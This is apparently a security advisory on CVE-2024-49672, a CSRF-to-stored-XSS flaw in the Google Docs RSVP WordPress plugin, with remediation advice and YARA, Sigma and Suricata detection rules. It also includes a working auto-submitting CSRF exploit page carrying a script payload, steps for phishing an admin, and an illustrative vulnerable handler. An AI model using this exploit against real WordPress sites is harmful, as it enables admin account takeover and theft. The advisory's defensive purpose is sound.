CVE-2024-49672

Executive Summary

CVE-2024-49672 is a Cross-Site Request Forgery (CSRF) vulnerability in the WordPress plugin Google Docs RSVP (slug: google-docs-rsvp-guestlist), affecting versions up to and including 2.0.1. The vulnerability allows an unauthenticated attacker to trick a logged-in administrator into performing unintended actions, such as adding malicious JavaScript payloads that lead to Stored Cross-Site Scripting (XSS). This can result in full site compromise, data theft, or defacement. The plugin is part of the WordPress ecosystem and is not related to Apache or Nginx.

Supply Chain & Package Security

This is a WordPress plugin distributed via the official WordPress plugin repository. No NPM, PyPI, Go, or Ruby packages are involved. The plugin is not actively maintained, and no patch is available. Users should consider removing the plugin immediately.

CVSS Breakdown & Threat Level

• CVSS Score: 7.1 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: Required (admin must be tricked into clicking a link)
• Scope: Changed (XSS can affect other users)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: Low

The threat level is High due to the combination of CSRF and Stored XSS, which can lead to persistent compromise of the WordPress admin panel.

Deep Dive & Mechanics

The vulnerability exists in the google-docs-rsvp-guestlist plugin. The plugin fails to implement CSRF tokens on administrative actions, such as saving RSVP guest list settings or importing data. An attacker can craft a malicious HTML page that, when visited by an authenticated WordPress admin, submits a forged request to the plugin’s admin-ajax.php or admin-post.php endpoints.

Because the plugin also lacks proper output sanitization, the attacker can inject JavaScript payloads into the guest list fields (e.g., guest name, email). These payloads are stored in the database and executed when any admin views the guest list page, resulting in Stored XSS.

The attack chain:

1. Attacker identifies a WordPress site using the vulnerable plugin.
2. Attacker crafts a CSRF exploit page that sends a POST request to /wp-admin/admin-ajax.php?action=save_guest with malicious payloads.
3. Attacker lures an admin to visit the exploit page (e.g., via phishing email).
4. The admin’s browser executes the forged request, saving the XSS payload.
5. When the admin (or any other user) views the guest list, the payload executes, stealing cookies, creating admin accounts, or defacing the site.

Vulnerable vs. Patched Code

Since no patch is available, we analyze the vulnerable code pattern.

Vulnerable Code (hypothetical example from plugin):

// No CSRF check
add_action('wp_ajax_save_guest', 'save_guest_handler');
function save_guest_handler() {
    $name = $_POST['guest_name'];
    $email = $_POST['guest_email'];
    // Directly stored without sanitization
    update_option('guest_list', $name . ',' . $email);
}

Patched Code (recommended):

add_action('wp_ajax_save_guest', 'save_guest_handler');
function save_guest_handler() {
    // CSRF check
    if (!wp_verify_nonce($_POST['_wpnonce'], 'save_guest_nonce')) {
        wp_die('CSRF validation failed');
    }
    $name = sanitize_text_field($_POST['guest_name']);
    $email = sanitize_email($_POST['guest_email']);
    // Also escape on output
    update_option('guest_list', $name . ',' . $email);
}

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

• A WordPress site with the vulnerable plugin installed and activated.
• An admin user must be logged in.

Exploit HTML (CSRF + Stored XSS):

<html>
<body>
<form action="http://target.com/wp-admin/admin-ajax.php" method="POST" id="csrf_form">
    <input type="hidden" name="action" value="save_guest">
    <input type="hidden" name="guest_name" value="<script>alert('XSS')</script>">
    <input type="hidden" name="guest_email" value="attacker@evil.com">
</form>
<script>
document.getElementById('csrf_form').submit();
</script>
</body>
</html>

Steps:

1. Host the above HTML on an attacker-controlled server.
2. Send a phishing email to the WordPress admin with a link to the HTML page.
3. Once the admin visits, the CSRF request is sent, and the XSS payload is stored.
4. The next time the admin views the guest list, the XSS triggers.

Blue Team (Defender)

Detection:

• Monitor for unusual POST requests to /wp-admin/admin-ajax.php with action=save_guest from unexpected referrers.
• Look for guest list entries containing <script> tags or other HTML.

Prevention:

• Disable or remove the plugin immediately.
• Implement Web Application Firewall (WAF) rules to block requests with suspicious payloads in guest fields.
• Enforce strict Content Security Policy (CSP) headers.

Indicators of Compromise (IOCs)

• File: /wp-content/plugins/google-docs-rsvp-guestlist/ (entire plugin directory)
• Database: wp_options table with option_name = 'guest_list' containing HTML/JavaScript.
• Network: POST requests to /wp-admin/admin-ajax.php with action=save_guest and guest_name or guest_email containing <script> tags.
• Logs: WordPress debug log entries showing unexpected guest list updates.

Detection Engineering

YARA Rule

rule CVE_2024_49672_CSRF_XSS {
    meta:
        description = "Detects stored XSS payloads in Google Docs RSVP plugin guest list"
        author = "Valters IT"
        date = "2025-04-17"
        reference = "CVE-2024-49672"
    strings:
        $xss_payload = /<script[^>]*>.*<\/script>/i
        $plugin_path = "google-docs-rsvp-guestlist"
    condition:
        $plugin_path and $xss_payload
}

Sigma Rule

title: CVE-2024-49672 - CSRF to Stored XSS in Google Docs RSVP
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects CSRF attempts targeting the Google Docs RSVP plugin
author: Valters IT
logsource:
    category: web
    product: wordpress
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'action=save_guest'
        cs-referer|contains: 'evil.com'  # Adjust as needed
    condition: selection
falsepositives:
    - Legitimate admin actions (rare)
level: high

Suricata Rule

alert http any any -> $HOME_NET any (
    msg:"CVE-2024-49672 - CSRF to Stored XSS in Google Docs RSVP";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/wp-admin/admin-ajax.php"; http_uri;
    content:"action=save_guest"; http_client_body;
    pcre:"/<script[^>]*>.*<\/script>/i";
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Remove the plugin: Deactivate and delete google-docs-rsvp-guestlist from the WordPress admin panel.
2. Audit database: Check wp_options for guest_list entries and remove any suspicious data.
3. Change admin credentials: If any admin accounts were compromised, reset passwords and session tokens.

Long-term Mitigation:

• Use a different RSVP plugin that is actively maintained and follows WordPress security best practices.
• Implement a Web Application Firewall (WAF) with rules to block CSRF and XSS attempts.
• Enforce Content Security Policy (CSP) headers to mitigate XSS impact.
• Regularly update all WordPress plugins and themes.

Patch Status: UNKNOWN / UNPATCHED. No official patch is available. The vendor (giffordcheung) has not responded.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert